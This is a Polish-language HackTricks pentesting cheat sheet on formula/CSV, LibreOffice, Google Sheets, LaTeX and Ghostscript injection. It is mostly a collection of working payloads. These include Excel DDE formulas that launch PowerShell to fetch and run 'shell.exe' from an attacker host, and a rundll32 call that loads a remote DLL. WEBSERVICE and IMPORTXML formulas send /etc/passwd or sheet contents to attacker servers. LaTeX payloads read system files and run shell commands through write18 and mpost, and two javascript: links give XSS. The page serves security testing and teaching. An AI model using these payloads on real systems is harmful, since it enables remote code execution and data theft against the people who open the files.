hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

221 lines
12 KiB
Markdown
Raw Normal View History

# Formula/CSV/Doc/LaTeX/GhostScript Injection
2022-05-01 13:25:53 +00:00
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Wsparcie HackTricks</summary>
2023-12-31 01:25:17 +00:00
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Wstrzykiwanie formuły
2022-07-10 22:26:52 +00:00
2024-02-11 01:46:25 +00:00
### Informacje
Jeśli twój **input** jest **odzwierciedlany** w **plikach CSV** (lub jakichkolwiek innych plikach, które prawdopodobnie będą otwierane przez **Excel**), możesz być w stanie wprowadzić **formuły** Excel, które będą **wykonywane**, gdy użytkownik **otworzy plik** lub gdy użytkownik **kliknie w jakiś link** w arkuszu Excel.
{% hint style="danger" %}
Obecnie **Excel będzie ostrzegać** (wielokrotnie) **użytkownika, gdy coś jest ładowane z zewnątrz Excel**, aby zapobiec działaniom złośliwym. Dlatego należy szczególnie skupić się na inżynierii społecznej w końcowym ładunku.
{% endhint %}
### [Lista słów](https://github.com/payloadbox/csv-injection-payloads)
2022-09-29 15:13:42 +00:00
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
### Hyperlink
2022-09-29 15:13:42 +00:00
**Poniższy przykład jest bardzo przydatny do eksfiltracji treści z końcowego arkusza Excel i do wykonywania żądań do dowolnych lokalizacji. Wymaga jednak, aby użytkownik kliknął w link (i zaakceptował komunikaty ostrzegawcze).**
Poniższy przykład został zaczerpnięty z [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
Wyobraź sobie naruszenie bezpieczeństwa w systemie zarządzania danymi studentów, które zostało wykorzystane za pomocą ataku CSV injection. Głównym celem atakującego jest kompromitacja systemu używanego przez nauczycieli do zarządzania danymi studentów. Metoda polega na tym, że atakujący wstrzykuje złośliwy ładunek do aplikacji, w szczególności poprzez wprowadzenie szkodliwych formuł do pól przeznaczonych na dane studentów. Atak przebiega następująco:
1. **Wstrzyknięcie złośliwego ładunku:**
* Atakujący przesyła formularz danych studenta, ale dodaje formułę powszechnie używaną w arkuszach kalkulacyjnych (np. `=HYPERLINK("<malicious_link>","Kliknij tutaj")`).
* Ta formuła ma na celu utworzenie hiperłącza, ale wskazuje na złośliwy serwer kontrolowany przez atakującego.
2. **Eksportowanie skompromitowanych danych:**
* Nauczyciele, nieświadomi kompromitacji, korzystają z funkcji aplikacji, aby wyeksportować dane do pliku CSV.
* Plik CSV, po otwarciu, nadal zawiera złośliwy ładunek. Ten ładunek pojawia się jako klikalne hiperłącze w arkuszu kalkulacyjnym.
3. **Wywołanie ataku:**
* Nauczyciel klika w hiperłącze, wierząc, że jest to legalna część danych studenta.
* Po kliknięciu, wrażliwe dane (potencjalnie w tym szczegóły z arkusza kalkulacyjnego lub komputera nauczyciela) są przesyłane na serwer atakującego.
4. **Rejestrowanie danych:**
* Serwer atakującego odbiera i rejestruje wrażliwe dane przesłane z komputera nauczyciela.
* Atakujący może następnie wykorzystać te dane do różnych złośliwych celów, dalej kompromitując prywatność i bezpieczeństwo studentów oraz instytucji.
2022-07-10 22:26:52 +00:00
### RCE
**Sprawdź** [**oryginalny post**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **w celu uzyskania dalszych szczegółów.**
W określonych konfiguracjach lub starszych wersjach Excela, funkcja zwana Dynamic Data Exchange (DDE) może być wykorzystana do wykonywania dowolnych poleceń. Aby to wykorzystać, należy włączyć następujące ustawienia:
* Przejdź do Plik → Opcje → Centrum zaufania → Ustawienia Centrum zaufania → Zawartość zewnętrzna i włącz **Uruchamianie serwera Dynamic Data Exchange**.
2021-06-29 12:49:13 +00:00
Gdy arkusz kalkulacyjny z złośliwym ładunkiem jest otwierany (i jeśli użytkownik zaakceptuje ostrzeżenia), ładunek jest wykonywany. Na przykład, aby uruchomić aplikację kalkulatora, ładunek byłby:
2024-02-06 03:10:38 +00:00
```markdown
=cmd|' /C calc'!xxx
2021-06-29 12:49:13 +00:00
```
Dodatkowe polecenia mogą być również wykonywane, takie jak pobieranie i uruchamianie pliku za pomocą PowerShell:
2024-02-06 03:10:38 +00:00
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
2021-06-29 12:49:13 +00:00
```
### Local File Inclusion (LFI) w LibreOffice Calc
2021-06-29 12:49:13 +00:00
LibreOffice Calc może być używany do odczytu lokalnych plików i eksfiltracji danych. Oto kilka metod:
2021-06-29 12:49:13 +00:00
* Odczyt pierwszej linii z lokalnego pliku `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1`
* Eksfiltracja odczytanych danych do serwera kontrolowanego przez atakującego: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
* Eksfiltracja więcej niż jednej linii: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* Eksfiltracja DNS (wysyłanie odczytanych danych jako zapytań DNS do serwera DNS kontrolowanego przez atakującego): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
2021-06-29 12:49:13 +00:00
### Google Sheets do eksfiltracji danych Out-of-Band (OOB)
2021-06-29 12:49:13 +00:00
Google Sheets oferuje funkcje, które mogą być wykorzystywane do eksfiltracji danych OOB:
2021-06-29 12:49:13 +00:00
* **CONCATENATE**: Łączy ciągi razem - `=CONCATENATE(A2:E2)`
* **IMPORTXML**: Importuje dane z typów danych strukturalnych - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
* **IMPORTFEED**: Importuje kanały RSS lub ATOM - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
* **IMPORTHTML**: Importuje dane z tabel HTML lub list - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
* **IMPORTRANGE**: Importuje zakres komórek z innego arkusza kalkulacyjnego - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
* **IMAGE**: Wstawia obraz do komórki - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
2021-06-29 12:49:13 +00:00
## Wstrzyknięcie LaTeX
2021-06-29 12:49:13 +00:00
Zazwyczaj serwery, które znajdziesz w internecie, które **konwertują kod LaTeX na PDF**, używają **`pdflatex`**.\
Ten program używa 3 głównych atrybutów do (z)zezwolenia na wykonanie poleceń:
2022-07-10 22:26:52 +00:00
* **`--no-shell-escape`**: **Wyłącza** konstrukcję `\write18{command}`, nawet jeśli jest włączona w pliku texmf.cnf.
* **`--shell-restricted`**: To samo co `--shell-escape`, ale **ograniczone** do 'bezpiecznego' zestawu **zdefiniowanych** \*\*poleceń (\*\*Na Ubuntu 16.04 lista znajduje się w `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`**: **Włącza** konstrukcję `\write18{command}`. Polecenie może być dowolnym poleceniem powłoki. Ta konstrukcja jest normalnie zabroniona z powodów bezpieczeństwa.
2022-07-10 22:26:52 +00:00
Jednak istnieją inne sposoby na wykonanie poleceń, więc aby uniknąć RCE, bardzo ważne jest użycie `--shell-restricted`.
2022-07-10 22:26:52 +00:00
2024-02-11 01:46:25 +00:00
### Odczytaj plik <a href="#read-file" id="read-file"></a>
Możesz potrzebować dostosować wstrzyknięcie z użyciem wrapperów, takich jak \[ lub $.
2022-07-10 22:26:52 +00:00
```bash
\input{/etc/passwd}
\include{password} # load .tex file
2022-07-12 21:55:32 +00:00
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
2022-07-10 22:26:52 +00:00
```
#### Odczytaj plik jednoliniowy
2022-07-10 22:26:52 +00:00
```bash
\newread\file
2022-07-10 22:26:52 +00:00
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
#### Odczyt pliku wielowierszowego
2022-07-10 22:26:52 +00:00
```bash
\newread\file
2022-07-10 22:26:52 +00:00
\openin\file=/etc/passwd
\loop\unless\ifeof\file
2024-02-11 01:46:25 +00:00
\read\file to\fileline
\text{\fileline}
2022-07-10 22:26:52 +00:00
\repeat
\closein\file
```
2024-02-11 01:46:25 +00:00
### Zapisz plik <a href="#write-file" id="write-file"></a>
2022-07-10 22:26:52 +00:00
```bash
\newwrite\outfile
2022-07-10 22:26:52 +00:00
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
2024-02-11 01:46:25 +00:00
### Wykonanie polecenia <a href="#command-execution" id="command-execution"></a>
2022-07-10 22:26:52 +00:00
Wejście polecenia zostanie przekierowane do stdin, użyj pliku tymczasowego, aby je uzyskać.
2022-07-10 22:26:52 +00:00
```bash
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
2022-07-12 22:56:28 +00:00
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
2022-07-10 22:26:52 +00:00
```
Jeśli napotkasz jakikolwiek błąd LaTex, rozważ użycie base64, aby uzyskać wynik bez złych znaków.
2022-07-10 22:26:52 +00:00
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
\input{|"/bin/hostname"}
```
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
2022-07-10 22:26:52 +00:00
2024-02-11 01:46:25 +00:00
Od [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
2022-07-10 22:26:52 +00:00
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
## Ghostscript Injection
2022-07-10 22:26:52 +00:00
**Sprawdź** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
## References
2021-06-29 12:49:13 +00:00
2022-07-10 22:26:52 +00:00
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
2022-04-28 16:01:33 +00:00
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Ucz się i ćwicz AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Ucz się i ćwicz GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Wsparcie HackTricks</summary>
2023-12-31 01:25:17 +00:00
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}